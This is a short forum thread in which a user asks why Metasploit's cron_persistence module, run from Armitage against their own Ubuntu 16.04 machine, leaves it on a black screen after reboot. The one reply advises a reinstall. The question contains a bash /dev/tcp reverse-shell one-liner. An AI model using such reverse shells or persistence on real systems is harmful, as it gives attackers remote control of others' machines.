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Metasploit cron_persistence PDOSes Ubuntu 16.04. Why?


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Not totally sure what I'm doing. I started a reverse shell on my ubuntu machine.

0<&96-;exec 96<>/dev/tcp/;sh <&96 >&96 2>&96

I get a file descriptor error when I run the command but it opens a shell and I can interact with the target system (Ubuntu 16.04 Desktop). When I use cron_persistence from armitage it seems to work fine. When I reboot the target it just black screens and never runs desktop.

It's funny. I had been hacked running Ubuntu about a week ago but I figured that the attacker had intentionally PDOSed my system. It was probably accidental.

Anybody have any idea what's going on here?

What am I doing wrong with the shell and what do I do to fix the issue on the target machine?

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if you know you were hacked, I'd say backup your files and reinstall, seriously, why take a chance? Its quite possible you have something corrupted or a bad update on the screen issue, removing and reinstalling your desktop environment may fix, but if you were hacked and know it, I'd never trust the system again if you don't know what was done to it.

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